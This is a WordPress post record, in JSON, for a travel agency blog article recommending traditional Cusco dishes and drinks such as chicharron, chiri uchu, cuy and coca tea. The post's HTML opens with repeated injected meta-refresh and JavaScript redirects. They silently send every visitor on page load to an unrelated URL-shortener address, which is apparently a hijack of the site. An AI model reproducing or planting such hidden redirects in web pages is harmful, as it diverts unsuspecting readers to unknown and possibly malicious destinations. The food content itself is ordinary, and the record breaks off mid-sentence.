{"id":7965,"date":"2025-07-14T15:46:07","date_gmt":"2025-07-14T20:46:07","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=7965"},"modified":"2025-07-14T15:46:09","modified_gmt":"2025-07-14T20:46:09","slug":"food-in-cusco-8-traditional-dishes-and-more-to-try","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/food-in-cusco-8-traditional-dishes-and-more-to-try\/","title":{"rendered":"Food in Cusco: 8 Traditional dishes (and more) to Try"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Each region of our<strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/all-about-peru-updated-information\"> amazing country <\/a><\/strong>reflects its vast traditions, culture, and joy. One of the reasons why every Peruvian is proud is that our food is gaining more adherents and fans worldwide.<\/p>\n\n\n\n<p>Usually, people say that the best places to try Peruvian food are Lima, the capital, Arequipa, and \u201cel norte\u201d (northern cities such as<strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/trujillo\"> Trujillo<\/a><\/strong>, Chiclayo, or Piura). <\/p>\n\n\n\n<p>We can say each region in Peru has its own traditional food. So, this time we\u2019ll focus on Cusco food. <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\">Cusco<\/a><\/strong>, the city where this blog is written, is popular for its sites, attractions, museums, and<strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/machu-picchu\"> Machu Picchu<\/a><\/strong>. <\/p>\n\n\n\n<p>Due to Cusco\u2019s popularity in these fields, some people may think that food is not a \u201ccusque\u00f1os\u201d (Cusco citizens&#8217;) strong point.<\/p>\n\n\n\n<p>Likewise, we, as cusque\u00f1os, \u2019ll show you the opposite in the following lines. We&#8217;ll share some delicious food (and more) and tell you why you must try them in the ancient capital of the Incas. Buen Provecho!. <em>Buen Provecho!<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chicharron<\/strong><\/h2>\n\n\n\n<p>To begin with, after the Spaniards&#8217; contest, unknown products, techniques, and animals arrived in Peru. Among them is the pig, which began to be a useful part of Peruvian cuisine. <\/p>\n\n\n\n<p> Peruvian chicharr\u00f3n varies by region, but cooks fry a piece of pork that they have marinated in spices and chicha de jora.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"408\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/chuc.jpg?resize=697%2C408&#038;ssl=1\" alt=\"Cusco's chicharron \" class=\"wp-image-13514\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/chuc.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/chuc.jpg?resize=300%2C176&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/chuc.jpg?resize=768%2C450&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>You MUST try the Cusque\u00f1o version of Chicharron<\/strong>.<\/figcaption><\/figure><\/div>\n\n\n<p>\u00a0So, the result is a tender, juicy pork, accompanied by cusque\u00f1o potatoes, salad, and sauces like the \u201cuchucuta\u201d (Cusco traditional sauce with a light spicy tone). We can mention as well that Chicharron is an essential <strong><a class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/essential-peruvian-food-10-dishes-you-must-try\/\">Peruvian dish<\/a><\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Quinoa Soup<\/h2>\n\n\n\n<p>Then, we have <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quinoa-perus-legendary-superfood-with-health-benefits\/\" title=\"\">Quinoa<\/a><\/strong>, an Andean grain that the Incas considered sacred. The United Nations declared 2013 to be &#8220;the International Year of Quinoa&#8221; in honor of its great nutritional value. <\/p>\n\n\n\n<p>It contains twice as much protein as rice and barley, making it an excellent source of calcium, magnesium, and zinc.\u00a0<\/p>\n\n\n\n<p>In ancient Peru, for example, the Incas highly valued quinoa for children&#8217;s nutrition and also for the Inca army. The Incas and Aymaras recognized quinoa as a food of the gods, as it gave them energy. Currently, the tradition of preparing quinoa is still in Cusco.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/sopa-de-quinoa.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Quinoa soup\" class=\"wp-image-13512\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/sopa-de-quinoa.jpg?w=1200&amp;ssl=1 1200w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/sopa-de-quinoa.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/sopa-de-quinoa.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/sopa-de-quinoa.jpg?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A healthy and vegan option is quinoa soup.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>\u201cQuinoa Soup\u201d contains meat, vegetables, and the main ingredient, quinoa. The result is a warm, substantial, and healthy soup that you must try during your stay here.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chiri-uchu-the-flavors-of-cuscos-corpus-christi\/\" title=\"\">Chiri Uchu<\/a><\/h2>\n\n\n\n<p>In Quechua, the language of the Inca, \u201ccold dish&#8221; is an important meal in Cusco city. People usually eat it in the Catholic festival of Corpus Christi in June. Some people think that this dish originated under the Inca Empire.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"463\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/4394691552_5eb8f86997_h.jpg?resize=697%2C463&#038;ssl=1\" alt=\"Chiri uchu dish\" class=\"wp-image-13513\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/4394691552_5eb8f86997_h.jpg?resize=1024%2C680&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/4394691552_5eb8f86997_h.jpg?resize=300%2C199&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/4394691552_5eb8f86997_h.jpg?resize=768%2C510&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/4394691552_5eb8f86997_h.jpg?resize=1536%2C1020&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/4394691552_5eb8f86997_h.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/4394691552_5eb8f86997_h.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/4394691552_5eb8f86997_h.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>This meal is served on a huge dish, and it includes different kinds of meat such as guinea pig, chicken, beef, and <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-history-of-jerky-andean-survival-to-tasty-treat\/\" title=\"\">jerky<\/a><\/strong>. The dish may also include seaweed and corn.<\/p>\n\n\n\n<p>It has also a  &#8220;torreja&#8221;, a kind of omelet made with maize flour, potatoes, yellow squash, green onions, and seasonings. The cook has piled all the ingredients high, with hot peppers on top.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Kapchi de Setas<\/strong><\/h2>\n\n\n\n<p>Also, we have the  Kapchi de <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-setas-the-andean-mushrooms-that-taste-like-history\/\" title=\"\">setas<\/a><\/strong> (mushroom stew), a traditional dish made from broad beans and mushrooms. people serve it as a soup or accompany it with rice and potatoes.<\/p>\n\n\n\n<p>This healthy dish is suitable for vegans and includes the famous \u201cPeruvian dressing\u201d as its base,\u00a0 broad beans, onion, milk cheese, <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-your-ultimate-guide-to-native-spices\/\" title=\"\">Peruvian species<\/a><\/strong>, and \u201csetas\u201d and Andean mushrooms.<\/p>\n\n\n\n<figure data-amp-lightbox=\"true\" class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" data-id=\"7971\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/kapchi.jpg?resize=697%2C465&#038;ssl=1\" alt=\"kapchi de zetas\" class=\"wp-image-7971\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/kapchi.jpg?w=720&amp;ssl=1 720w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/kapchi.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/kapchi.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>Consequently, this healthy dish is suitable for vegans and includes the famous \u201cPeruvian dressing\u201d as its base,\u00a0 broad beans, onion, milk cheese, Peruvian species, and \u201csetas\u201d and Andean mushrooms.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Alpaca Meat<\/strong><\/h2>\n\n\n\n<p>Alpaca is a camelid, a \u201ccousin\u201d of the llama. Since Inca times, this furry creature has been for meat and fiber.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"304\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1322468bbd9d4e8095bd3b3e2dc3d9f6-scaled.jpg?resize=697%2C304&#038;ssl=1\" alt=\"Alpaca dish\" class=\"wp-image-13517\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1322468bbd9d4e8095bd3b3e2dc3d9f6-scaled.jpg?w=2560&amp;ssl=1 2560w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1322468bbd9d4e8095bd3b3e2dc3d9f6-scaled.jpg?resize=300%2C131&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1322468bbd9d4e8095bd3b3e2dc3d9f6-scaled.jpg?resize=1024%2C446&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1322468bbd9d4e8095bd3b3e2dc3d9f6-scaled.jpg?resize=768%2C335&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1322468bbd9d4e8095bd3b3e2dc3d9f6-scaled.jpg?resize=1536%2C669&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1322468bbd9d4e8095bd3b3e2dc3d9f6-scaled.jpg?resize=2048%2C892&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1322468bbd9d4e8095bd3b3e2dc3d9f6-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A fancy and delicious dish made from Alpaca meat.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Alpaca meat is tender, high in protein, and low in fat, making it an excellent alternative to beef due to its low cholesterol. You can eat it grilled, in sandwiches, or as a replacement for beef.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Trucha<\/strong><\/h4>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6193750872_3c8da9d120_k.jpg?resize=697%2C523&#038;ssl=1\" alt=\"fried trout\" class=\"wp-image-13515\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6193750872_3c8da9d120_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6193750872_3c8da9d120_k.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6193750872_3c8da9d120_k.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6193750872_3c8da9d120_k.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6193750872_3c8da9d120_k.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6193750872_3c8da9d120_k.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/6193750872_3c8da9d120_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A dish of &#8220;Trucha frita&#8221;<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>A common fish dish is trout, which is made with farm-raised or river trout. This classic dish is served with potatoes, corn, and salad. <\/p>\n\n\n\n<p>You&#8217;ll find everything from stylish eateries to the smallest eateries. You can bake, grill, or make ceviche, among other cooking methods.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Choclo con queso<\/strong><\/h2>\n\n\n\n<p>Around Cusco and the <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\">Sacred Valley<\/a><\/strong>, you\u2019ll see ladies with huge cooking pots luring drivers and pedestrians, and saying out loud \u201cChoclo con queso\u201d! \u201cChoclo con queso\u201d!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Gastronomia-Peruana-51.jpg?resize=697%2C697&#038;ssl=1\" alt=\"choclo con queso dish\" class=\"wp-image-7980\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Gastronomia-Peruana-51.jpg?w=1080&amp;ssl=1 1080w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Gastronomia-Peruana-51.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Gastronomia-Peruana-51.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Gastronomia-Peruana-51.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Gastronomia-Peruana-51.jpg?resize=768%2C768&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A delicious and traditional snack, choclo con queso.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>\u201cChoclo con queso\u201d literally means corn and cheese, simple as it is. Although this is a relatively small snack, it can be filling. We, cusque\u00f1os, may claim that this is our favorite snack ever.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Cuy Meat<\/strong><\/h4>\n\n\n\n<p>Lastly, but foremost, we have the famous <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\" title=\"\">\u201ccuy\u201d<\/a><\/strong>. We know, for some of you reading this blog, that guinea pigs are pets in your country, and you don\u2019t even imagine eating them. <\/p>\n\n\n\n<p>However, for thousands of years, guinea pigs have been a vital source of food in the Andean areas. After the Spaniard&#8217;s arrival, they took some elements to Europe, including guinea pigs. <\/p>\n\n\n\n<p>So, we can say that just like other livestock, originally guinea pig was a domestic animal for humans to eat.<\/p>\n\n\n\n<figure data-amp-lightbox=\"true\" class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" data-id=\"7972\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12-1.png?resize=697%2C327&#038;ssl=1\" alt=\"cuy al horno dish\" class=\"wp-image-7972\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12-1.png?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12-1.png?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12-1.png?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/PORTADA-1-12-1.png?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n<figcaption class=\"blocks-gallery-caption wp-element-caption\"><strong>Traditional &#8220;Cuy al horno&#8221;<\/strong><\/figcaption><\/figure>\n\n\n\n<p>Guinea pig meat is healthy, as it contains almost no fat; it\u2019s also rich in proteins, amino acids, and vitamins. <\/p>\n\n\n\n<p>The common ways to eat \u201ccuy\u201d are in \u201cpepian\u201d (a spicy Peruvian stew), in soup, or the most popular one, <strong>&#8220;Cuy Chactado&#8221;<\/strong> (deep-fried cuy), is a recipe in which the guinea pig is flattened and fried.\u00a0<\/p>\n\n\n\n<p>Then, there&#8217;s the &#8220;Cuy al Horno,&#8221; a guinea pig cooked in the oven. Both versions are served with Peruvian corn and potatoes; some restaurants offer it with \u201crocoto relleno\u201d (stuffed Peruvian chili peppers)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Honorable Mentions<\/strong><\/h2>\n\n\n\n<p>The 8 dishes we introduced to you are just a few of the vast repertoire of Cusco\u2019s traditional food; however, we\u2019d like to mention the following dishes, snacks, and drinks:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Frutillada<\/strong><\/h3>\n\n\n\n<p><strong>Frutillada<\/strong> is made with a small, tastier &#8220;frutilla&#8221;, a type of strawberry native to the Peruvian Andes. It is a sweeter and safer substitute for Chicha de Jora, the traditional Inca beer.<\/p>\n\n\n\n<figure class=\"wp-block-image alignwide is-stacked-on-mobile\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1000_F_227617338_hksMf1DIFyrfzGjKoyS1rJcxoNXX5iLd-1.jpg?resize=697%2C464&#038;ssl=1\" alt=\"Frutillada huge glass and corn\" class=\"wp-image-7976\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1000_F_227617338_hksMf1DIFyrfzGjKoyS1rJcxoNXX5iLd-1.jpg?w=856&amp;ssl=1 856w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1000_F_227617338_hksMf1DIFyrfzGjKoyS1rJcxoNXX5iLd-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1000_F_227617338_hksMf1DIFyrfzGjKoyS1rJcxoNXX5iLd-1.jpg?resize=768%2C511&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/1000_F_227617338_hksMf1DIFyrfzGjKoyS1rJcxoNXX5iLd-1.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Depending on the place where you drink it, and the level of fermentation, it may be suitable for kids to drink it as frutillada is a healthy and sweet drink, just like chicha morada, a drink made from purple corn.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Tamal Cusque\u00f1o<\/strong><\/h3>\n\n\n\n<p>They are considered a snack not only in Peru but in South America. Even though you have tried it in other countries, the \u201c Cusque\u00f1o\u201d version is different.<\/p>\n\n\n<div class=\"wp-block-image alignwide is-stacked-on-mobile\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/WDH7J3ETQFHRBHPNONSBUQEVWE.jpeg?resize=697%2C523&#038;ssl=1\" alt=\"Cusco's tamal\" class=\"wp-image-13516\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/WDH7J3ETQFHRBHPNONSBUQEVWE.jpeg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/WDH7J3ETQFHRBHPNONSBUQEVWE.jpeg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/WDH7J3ETQFHRBHPNONSBUQEVWE.jpeg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/WDH7J3ETQFHRBHPNONSBUQEVWE.jpeg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/WDH7J3ETQFHRBHPNONSBUQEVWE.jpeg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Some sweet tamales contain raisins and cinnamon, while others contain shredded pork, olives, and onions. Near <a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/historical-monuments\/historic-center-of-cusco\"><strong>Cusco Plaza de Armas<\/strong> <\/a>(main square) are many ladies selling tamales. Try one when in the historic center!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Empanadas dulces<\/strong><\/h3>\n\n\n\n<p>These pastries are small and rectangular, made from flour, lard, egg, and cinnamon. Sweet sprinkles and a yolk topping adorn them. You&#8217;ll see several empanadas during <strong><a class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/celebrating-holy-week-in-peru\/\">Holy Week <\/a><\/strong>in Cusco.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"685\" height=\"514\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/plates-of-holy-week-in-cusco-5.jpg?resize=685%2C514&#038;ssl=1\" alt=\"Empanadas de Cusco\" class=\"wp-image-13495\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/plates-of-holy-week-in-cusco-5.jpg?w=685&amp;ssl=1 685w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/plates-of-holy-week-in-cusco-5.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/plates-of-holy-week-in-cusco-5.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 685px) 100vw, 685px\" \/><\/figure><\/div>\n\n\n<p>They are consumed with hot chocolate, stews, or fruit sweets like peach stew.&nbsp;You can also find them in bakeries and shops in the San Pedro Traditional Market in Cusco.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Coca Tea<\/strong><\/h3>\n\n\n\n<p>Finally, we have the coca tea. Please, you don&#8217;t have to worry, coca leaves in Peru are legal, and, actually, they&#8217;re useful for lots of things, including <strong><a class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/altitude-sickness-in-peru-symptoms-prevention\/\">altitude sickness<\/a><\/strong>. You can drink it in your hotel, restaurant, or eatery in Cusco City.<\/p>\n\n\n\n<figure class=\"wp-block-image alignwide is-stacked-on-mobile\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"490\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/10\/03_cha_de_coca_photoby_Calsidyrose_via_visualhunt.jpg?resize=697%2C490&#038;ssl=1\" alt=\"Coca tea\" class=\"wp-image-2548\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/10\/03_cha_de_coca_photoby_Calsidyrose_via_visualhunt.jpg?resize=1024%2C720&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/10\/03_cha_de_coca_photoby_Calsidyrose_via_visualhunt.jpg?resize=300%2C211&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/10\/03_cha_de_coca_photoby_Calsidyrose_via_visualhunt.jpg?resize=768%2C540&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/10\/03_cha_de_coca_photoby_Calsidyrose_via_visualhunt.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/10\/03_cha_de_coca_photoby_Calsidyrose_via_visualhunt.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<p>So, if you\u2019re visiting Cusco, why don\u2019t you try these recommendations? We\u2019re sure you\u2019ll love our food as much as Cusque\u00f1os do!<\/p>\n\n\n\n<p>Consider as well that <strong>Viagens Machu Picchu<\/strong> can help you arrange your trip to Cusco and other Peruvian 